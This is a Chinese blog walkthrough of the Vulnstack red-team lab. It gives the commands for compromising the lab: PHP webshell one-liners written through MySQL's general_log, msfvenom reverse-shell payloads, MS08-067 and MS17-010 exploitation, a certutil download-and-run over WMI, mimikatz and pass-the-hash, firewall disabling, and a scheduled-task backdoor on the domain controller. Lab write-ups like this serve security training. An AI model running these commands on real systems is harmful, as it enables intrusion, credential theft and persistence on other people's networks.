ATK&CK红队评估实战靶场(一)

2023-11-05


ATK&CK红队评估实战靶场(一)的搭建和模拟攻击过程全过程

回到顶部

0x01 前言

本靶机环境是红日团队开源的一个红队实战测试环境,靶机下载地址如下:

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

通过模拟真实环境搭建的漏洞靶场,完全模拟ATK&CK攻击链路进行搭建,形成完整个闭环。虚拟机默认密码为hongrisec@2019。

回到顶部

0x02 环境搭建

本次环境搭建和靶机默认有些区别,我是在一台服务器的虚拟机上搭建的,服务器资源足够,为了避免运行卡顿,攻击机Kali也是在虚拟机上,具体配置如下,Kali虚拟机、WEB服务器win7外网网卡和宿主机桥接,和办公终端都是连到同一个局域网中。

WEB服务器:windows7系统

外网网卡IP:192.168.1.102
内网网卡IP:192.168.52.143

域成员:windows server 2003系统

网卡IP:192.168.52.141

域控服务器:windows server 2008系统

网卡IP:192.168.52.138

攻击机器:kali 2020.2

kali IP:192.168.1.101

宿主机IP:windows server 2008系统

IP:192.168.1.111

安装CobaltStrike服务器

IP:192.168.1.236

搭建靶机环境拓扑图如下:

ATT&CK红队评估实战靶场(一)拓扑环境

模拟攻击示意图如下:

模拟攻击过程

回到顶部

0x03 攻入内网

3.1. 信息收集

3.1.1 主机探测

netdiscover -i eth0 -r 192.168.1.0/24

img

3.1.2 端口扫描

发现IP192.168.1.102,使用nmap探测端口开放情况(注意需要现在win7主机运行PhpStudy)

nmap -sC -v -n -sV -Pn -p 1-65535 192.168.1.102

img

发现80端口开启,访问页面http://192.168.1.102/发现页面如下,存在大量信息泄露,收集有效信息。

img

3.1.3 目录扫描

使用7kbscan-WebPathBrute目录扫描工具开展漏洞扫描

img

发现网站备份文件和phpadmin后台管理界面

img

打开备份文件发现网站源码,打开robots.txt发现网站CMS为yxcms,访问http://192.168.1.102/yxcms进入网站首页

img

3.2. 漏洞利用

3.2.1 漏洞发现

3.2.1.1 漏洞一:信息泄露+弱口令

网站泄露后台地址和用户密码,且用户密码为弱口令

img

成功登录网站后台界面

img

3.2.1.2 漏洞二:PhpMyAdmin弱口令

发现使用默认用户名/口令(root/root)成功登录PhpMyAdmin管理页面

img

3.2.1.3 漏洞三:yxcms留言本XSS存储型漏洞

前台提交带有XSS代码的留言

img

后台审核成功弹出XSS弹窗

img

审核通过之后,前台同样成功弹窗

img

可通过该漏洞获取管理员cookie或者诱导管理员点击执行某恶意代码

3.2.1.4 漏洞四:yxcms后台任意文件读写漏洞

在后台创建新模板模块创建内容为一句话的新模板

img

通过前面的备份文件可知文件保存的目录http://192.168.1.102/yxcms/protected/apps/default/view/default/hack.php

img

使用蚁剑成功连接shell

img

3.2.1.5 漏洞五:yxcms后台SQL注入漏洞

在后台的碎片列表中进行删除操作,删除碎片ID可能存在盲注漏洞,使用dnslog获取SQL注入得到数据。

yxcms漏洞代码原理解析参考文章https://www.freebuf.com/column/162886.html

3.2.1.6 漏洞六:PhpMyAdmin开启全局日志getshell

首先测试是否可以使用select into outfile直接写入

Select '<?php eval($_POST[hack]);?> ' into outfile 'C:/phpStudy/WWW/hack.php'

img

写入失败, show global variables like ‘%secure%’查看变量secure-file-priv 值为NULL,且为只读无法修改。

尝试使用全局日志写入shell,查看全局变量general_log:show global variables like ‘%general_%’

img

开启全局日志并修改日志保存位置为C:/phpStudy/WWW/hack.php

set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/hack.php';

img

查询一句话写入日志Select '<?php eval($_POST[hack]);?>'

img

使用蚁剑连接一句话木马http://192.168.1.102/hack.php

img

3.3 CS上线GetShell

CS客户端服务端都部署在192.168.1.236主机上,创建监听并生成powershell

img

时间反应比较慢,建议多执行几次并等一会

提权成功

img

3.4 系统信息收集

查看网卡

img

img

发现内网ip地址192.168.52.143和域god.org,查看域信息

net group /domain  #查看域内所有用户列表
net group “domain computers” /domain #查看域成员计算机列表
net group “domain admins” /domain #查看域管理员用户

img

img

本机计算机名字为STU1,另外还有两个域用户分别是DEV1、ROOT-TVI862UBEH、域控制用户为OWA

3.5 主机密码收集

获取系统用户名和密码

img

3.6 远程桌面登录

远程开启3389端口并关闭防火墙

注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f


关闭防火墙
netsh firewall set opmode disable   			#winsows server 2003 之前
netsh advfirewall set allprofiles state off 	#winsows server 2003 之后

img

这个时候防火墙是开启,我们需要关闭防火墙,使用域用户god\administrator/hongrisec@2020成功登录这一台win7WEB主机

img

回到顶部

0x04 内网信息收集

4.1 域信息收集

前面收集到的信息Win7计算机名字为STU1,另外还有两个域用户分别是DEV1、ROOT-TVI862UBEH、域控制用户为OWA

win7内网的IP地址为192.168.52.143

进一步开始收集,通过Ladon 192.168.52.0/24 OnlinePC探测域内存活主机

img

域成员:192.168.52.141

域控DC:192.168.52.138

4.5 内网漏洞扫描

前期我们获取到win7的远程桌面也可以通过远程发现win7主机上安装了nmap工具,我们可以进一步针对192.168.52.0/24内网网段进行漏洞信息收集
img

nmap  --script-vlun -p 1-65535 192.168.52.141

img

nmap  --script-vlun -p 1-65535 192.168.52.138

img

也可以自己上传工具开展信息漏洞收集工作,我们使用上传的Ladon工具

img

发现192.168.1.141存在漏洞:MS08-067、MS17-010,192.168.1.138存在MS17-010漏洞。

攻击思路:

1、我们可以直接全部使用MS17-010获取域成员和域控主机;

2、使用MS08-067获取域成员主机,然后使用横向移动【VMI利用】获取域控主机

回到顶部

0x05 横向渗透

5.1 MSF反弹shell

这里我们使用Kali的msf先反弹一个shell

#生成反弹shell文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f raw > shell.php

#在本机中设置监听

msfconsloe
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.101
set lport 4444
run

然后使用蚁剑上传shell.php,并访问

img

img

5.2 内网流量转发(MSF+proxychains)

参考文章https://www.freebuf.com/articles/network/125278.html

成功获取msf反弹shell,添加路由到目标环境网络,使得msf能够通过win7路由转发访问192.168.25.0/24网段

#查看路由信息
run get_local_subnets
#添加一条路由
run autoroute -s 192.168.52.0/24

img

使用msf的socks4代理模块

img

文本编辑器修改etc/proxychains.conf,在最后一行加上socks4代理服务器

[ProxyList]

socks4 192.168.1.101 1080

使用proxychains代理nmap扫描主机

img

5.3 MS08-067 搭配Bind TCP

由于没有定义双向路由,目标系统无法直接连接到攻击机,所以我们需要将Bind_tcp设置为payload类型,在exploit操作成功之后,就要对连接到目标系统的端口进行监听,两者区别如下:

img

完整设置如下:

img

成功获取域成员192.168.1.141的shell

img

5.4 MS17-010获取域控服务器

我们同样可以使用MS17-010获取域服务器和域控服务器权限,这里我们直接攻击域控服务器

使用exploit/windows/smb/ms17_010_eternalblue攻击流程如下:

img

img

获取失败,使用

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/blind_tcp

攻击流程如下

img

仍然无法有效获取会话

5.5 WMI获取域控服务器

上传vmiexec.vbs到192.168.52.143(win7)机器上,然后执行

cscript.exe vmiexec.vbs /cmd 192.168.52.138 administrator hongrisec@2020 "whoami"

或者直接使用之前上传的Ladom工具执行ladom wmiexec 192.168.52.138 administrator hongrisec@2020 whoami

img

同上面的过程一样,我们需要获取一个正向的msf连接,过程如下:

首先生成一个正向的exe文件放到win7的网站目录上

img

在win7上查看

img

在win7上使用WMI执行命令certutil.exe -urlcache -split -f http://192.168.52.143/6666.exe&6666.exe

img

成功执行,这时候在138机器(DC—win2008)上开启6666端口监听

然后我们在msf上个运行blin_tcp来获取回话

img

忘记改端口了,修改端口为6666

img

成功获取域控权限,后续提权,可以使用msf mimikatz进一步获取用户密码等。(msf连接过程中保持内网流量转发:步骤5.2,如果无法获取会话在kali上扫描138主机6666端口是否开放,如果没有开放参考3.6,同样使用vmi命令关闭防火墙后重,我使用的是之前上传的K8大神的Lodan工具,是因为vbs脚本一直没有回显,后来重启win2008域控服务器才有回显)

img

下一步开始提权,尝试多种提权方法均失败

img

然后上网查看资料,使用CVE-2018-8120来提权,直接文件上传upload CVE-2018-8120-master提权程序

img

成功提权,上免杀mimikatz

img

用户所有密码都会保存在mz.log文件中,可以直接type mz.log查看

img

5.6 票据加计划任务获取DC

这是博客ATT&CK红队评估实战靶场(一)的获取域控方法,感觉太过复杂,本人没有尝试,这里也放在这里供大家参考。

mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141
img

shell dir \192.168.52.138\c$ //dir DC的目录
img

生成一个exe马
这里用windows/reverse_bind_tcp LHOST=0.0.0.0 LPORT=7777 生成正向的马 yukong.exe
把马复制到域控机器上shell copy C:\yukong.exe \192.168.52.138\c$
然后再用这个写入计划任务的方法去连接,这里马反弹会连不成功,所以
shell schtasks /create /tn “test” /tr C:\yukong.exe /sc once /st 22:14 /S 192.168.52.138 /RU System /u administrator /p “hongrisec@2020”
挂着win7代理 proxy nc -vv 192.168.52.138 7777 即可弹回DC138的shell
用Meterpreter的马也可以,之前失败了,后续还是改成meterpreter的马,或者把普通shell再升级成meterpreter再导入cs也可以
马上线之后清除计划任务schtasks /delete /s 192.168.52.138 /tn “test” /f

回到顶部

0x06 后记

当然最后获取域控权限的方法还有好多,向pth攻击、横向哈希传递、redis等等,还有后续的痕迹清理日志清楚都没有涉及,经过这一次充分认识到自己的不足,还需要多加学习,有些地方自己还是没有完全弄明白,只是完全参考网络上的大神们的教程,文中有错漏的地方希望大家多多包含,我只是用了我觉得最简单的思路进行攻击,更复杂的没有涉及,希望以后能多多练习这样的靶机学习更牛的技能,最后谢谢红日团队给出的这个靶机,后续还有一系列靶机,有时间会慢慢逐个尝试。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ATK&CK红队评估实战靶场(一) 的相关文章

随机推荐

  • wfs.js windows用法

    https github com qingqibing h5camera player wfs js https github com ChihChengYang wfs js https github com YoFlux wfs js
  • Node.js如何入门?系统学习路径分享

    想要系统学xx技术的小伙伴 快速找到学习路径的方法 找两本书 xx入门 和 xx指南 这两本书的目录就是我们系统学习的路径 以Node js为例子 Node js入门 整本书才38页 太好入门了 继续深入学习就继续找 Node js开发指南
  • DC综合的脚本总结

    step 1Read elaborate the RTL file list check set TOP MODULE spi analyze format verilog list spi v serial parallel v swit
  • Zabbix--实践--01--监控MySQL

    Zabbix 实践 01 监控MySQL 1 创建监控用户 登录要被监控的mysql 创建监控用户 create user zbx monitor identified by 1234 grant replication client pr
  • Unity 打造游戏攻击技能架构与设计

    一 技能系统的设计 在 MOBA 游戏中 每个英雄角色都会有多个技能 这些技能可以分为普通攻击和技能攻击两种 普通攻击是英雄角色的基本攻击方式 而技能攻击则需要消耗一定的资源 如蓝量 才能使用 在设计技能系统时 我们需要考虑以下几个方面 对
  • Deep Learning(深度学习)学习笔记

    网址 http blog csdn net zouxy09 article category 1387932 目录 一 概述 二 背景 三 人脑视觉机理 四 关于特征 4 1 特征表示的粒度 4 2 初级 浅层 特征表示 4 3 结构性特征
  • 天文学中的坐标系(astropy)

    观测到的天文物体的视向速度受到几种投影效应的影响 例如地球的自转和轨道运动 太阳围绕银河系中心的运动 银河系在本星系群内的运动等 为了能够解释观测到的径向速度 必须把它转换成适当的静止坐标系 对于太阳附近的物体来说 一个有用的静止框架是所谓
  • 【C++】模板进阶

    文章目录 一 模板进阶 1 非类型模板参数 2 模板的特化 2 1 函数模板特化 2 2 类模板特化 3 模板的分离编译 3 1 什么是分离编译 3 2 模板的分离编译 3 3 模板总结 二 继承 1 继承的概念及定义 2 基类和派生类对象
  • Git 创建远程仓库和本地仓库进行连接

    Git 创建远程仓库和本地仓库进行连接 Git 创建远程仓库后面在本地仓库对远程仓库进行一个链接 远程仓库如下 在本地仓库项目文件夹里面用git bash exe 打开git 操作进入下面的目录 先用ls 查看当前目录有没有文件夹 发现没有
  • 如何在windows下安装Python(Python入门教程)

    第一步 下载Python安装包 在Python的官网 www python org 中找到最新版本的Python安装包 点击进行下载 请注意 当你的电脑是32位的机器 请选择32位的安装包 如果是64位的 请选择64位的安装包 第二步 安装
  • LeetCode_Array_88. Merge Sorted Array 合并两个有序数组【从后向前遍历】【Java】【简单】

    一 题目描述 英文描述 You are given two integer arrays nums1 and nums2 sorted in non decreasing order and two integers m and n rep
  • 串口通信时乱码解决方案

    串口通信时经常乱码 可以检查一下是不是波特率的问题 或者就是晶振问题 板子上一般都是12 0000的 代码里一般不是 手边没有其他晶振可以试试改代码 大概在stm32f10x h的头文件里119行左右 将8000000改成12000000或
  • 按照json文件的值复制图片

    按照json文件的值复制图片 文件格式 处理当前JSON 代码封装 增加批处理 文件格式 0是不挑选 1是挑选 处理当前JSON coding utf 8 from PIL import Image ImageDraw ImageFont
  • 【深度学习实验】线性模型(一):使用NumPy实现简单线性模型:搭建、构造损失函数、计算损失值

    中秋征文 程序人生 中秋共享 目录 一 实验介绍 二 实验环境 1 配置虚拟环境 2 库版本介绍 三 实验内容 0 导入库 1 定义线性模型linear model 2 定义损失函数loss function 3 定义数据 4 调用函数 一
  • This may be due to a blocked port, missing dependencies,解决办法,mysql报错

    安装完XAMPP完之后启动mysql出现如下问题 只需双击XAMPP安装目录下的setup xampp 等待运行完毕 重启 双击xampp control 重新进入xampp控制界面 点击start 成功之后会显示PID
  • 流形学习详解

    流形学习 流形学习 manifold learning 是一类借鉴了拓扑流形概念的降维方法 介绍流行学习首先要说明一下什么是流形 即指具有不同维数的任意光滑的曲线或曲面 流形学习是基于这样一种假设 若低维流形嵌入到高维空间中 则数据样本在高
  • 免费好用的流程图、UML工具

    http blog csdn net riag article details 4427328 之前 我一直用Visio来画流程图 现在想全部换用免费的流程图 UML工具 所以在网上搜了一遍 发现了几个不错的工具 EDraw Mind Ma
  • node.js+Vue计算机毕设项目万佳商城管理系统(程序+LW+部署)

    该项目含有源码 文档 程序 数据库 配套开发软件 软件安装教程 欢迎交流 项目运行 环境配置 Node js Vscode Mysql5 7 HBuilderX Navicat11 Vue Express 项目技术 Express框架 No
  • Python爬虫教学——简单爬取网页数据

    前言 本文是一篇介绍如何用Python实现简单爬取网页数据并导入MySQL中的数据库的文章 主要用到BeautifulSoup requests 和 pymysql 其中以网页 https jbk 39 net mxyy jbzs 为例 假
  • ATK&CK红队评估实战靶场(一)

    ATK CK红队评估实战靶场 一 的搭建和模拟攻击过程全过程 回到顶部 0x01 前言 本靶机环境是红日团队开源的一个红队实战测试环境 靶机下载地址如下 http vulnstack qiyuanxuetang net vuln detai